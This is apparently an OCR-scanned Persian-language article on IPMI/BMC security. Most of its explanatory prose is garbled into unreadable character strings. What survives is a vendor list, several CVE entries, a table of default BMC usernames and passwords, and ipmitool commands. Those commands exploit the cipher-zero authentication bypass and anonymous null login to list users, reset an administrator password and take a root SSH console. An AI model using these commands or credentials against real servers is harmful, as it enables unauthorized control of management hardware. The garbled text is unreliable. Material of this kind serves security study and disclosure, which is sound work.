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HP Integrated Lights-Out (iLO) HP
Dell DRAC Dell
GNU FreelPMI IPMI software provided under the GNU
General Public License
IBM Remote Supervisor Adapter IBM
MegaRAC ASUS, Tyan, Supermicro
Avocent MergePoint Embedded | Gigabyte, Dell
Management Software
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s sl 00 olwlids JSSg, 2.0 (6 a5eus ,o g Authentication Bypass g4 5l 4 (s pdy cum! (!
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Ok So 4 ADMIN j5e 50, 5 625 pL L (292 S0t (590 3l osliinl b o)leds pgas Billas
Cipher Suite Priv Max ol )b lade asili> .ol oo jolo lan print ;yle s « 192.168.1.10 .0l b
@ g Jbd Coogas pl Oganl ey g b e Cipher Zero covgas il oo kel "X" sS1)I5 L
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[root@host ~]# ipmitool -H 192.168.1.18 -P ADMIN -U ADMIN lan print

Set in Progress

Auth Type Support

: Set Complete
: NONE MD2 MDS OEM

Auth Type Enable ¢ Callback : NONE MD2 MD5 OEM
: User : NONE MDZ MD5 OEM
: Operator : NONE MD2 MDS OEM
: Admin : MONE MD2 MD5 OEM
: OEM

IP Address Source

IP Address

Subnet Mask

MAC Address

SNMP Community String
IP Header

BMC ARP Control
Gratituous ARP Intrvl
Default Gateway IP
Default Gateway MAC

¢ Static Address

: 192.168.1.10

: 255.255.255.9

: 08:11:22:33:44:55

t AMI

i TTL=8x80 Flags=8x2@ Precedence=8x80 TOS=8x8@

¢ ARP Responses Disabled, Gratuitous ARP Disabled
: 8.8 seconds

: 192.168.1.1

; DB:00:00:00:00:00

Backup Gateway IP : 8.9.0.0

Backup Gateway MAC : 08:00:00:00:00:08
882.1q VLAN ID : Disabled

882.1q VLAN Priority -]

RMCP+ Cipher Suites :1,2,3,6,7,8,11,12,0
Cipher Suite Priv Max . saaaXXssaXXaaXX

X=Cipher Suite Unused
c=CALLBACK

u=USER

o=0PERATOR

a=ADMIN

0=0EM

0 okl Cipher (yogu/ o099 Jled w0 pead

yoewd Jlo )l b gl 4 ipmitool [l sleslawl b )57 G aS 098 o cdmlive 3 103 (5 95w la> 0
Administrator ( (2,8 i L) el 03 i 5,5 pb L Suga cxs §10.0.0.99 o1 4 user list
-0 ppe s pl I=C 0 yl)l b Cipher 0 (¢ ,.5,I5 4 ¢ ShidsaBasUCERT uils olgsds jgue 0, G g
Slaladl plo LS 50 Wlg o o ol 0591 (o Gt |y 39290 sla CSlST 5l ced g 03,5 (5lo
solaiul o] 5l s 00 g 4 g ools ali8l 1y o e yiws aaw @iSle o CilST S il IS5

a8

$ ipmitool -I lanplus -C © -H 10.0.0.99 -U Administrator -P ShidsaBasuCERT user list
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. - . = CVSS
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CVE-2014-2955 | Raritan PX before 1.5.11 on DPXR20A-16 devices \-
The Dell iDRAC6 with firmware 1.x before 1.92 and 2.x and 3.x
CVE-2013-4783 before 3.42, and iDRAC7 with firmware before 1.23.23 \
CVE-2013-4784 | The HP Integrated Lights-Out (iLO) BMC implementation \e
CVE-2013-4782 | The Supermicro BMC implementation 10
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Product Name

Default Username

Default Password

HP Integrated Lights Out (iLO) Administrator <factory randomized 8-character string=>
Dell Remote Access Card (iDRAC, DRAC) root calvin

IBM Integrated Management Module (IMM) USERID PASSWORD (with a zero)

Fujitsu Integrated Remote Management Controller admin admin

Supermicro IPMI (2.0) ADMIN ADMIN

Oracle/Sun Integrated Lights Out Manager (ILOM) root changeme

ASUS iKVM BMC admin admin
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$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 ShidsaBasuCERT
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$ ssh root@10.0.0.97

root@10.0.0.97's password: ShidsaBasuCERT
>> SMASH-CLP Console v1.09 <<

->
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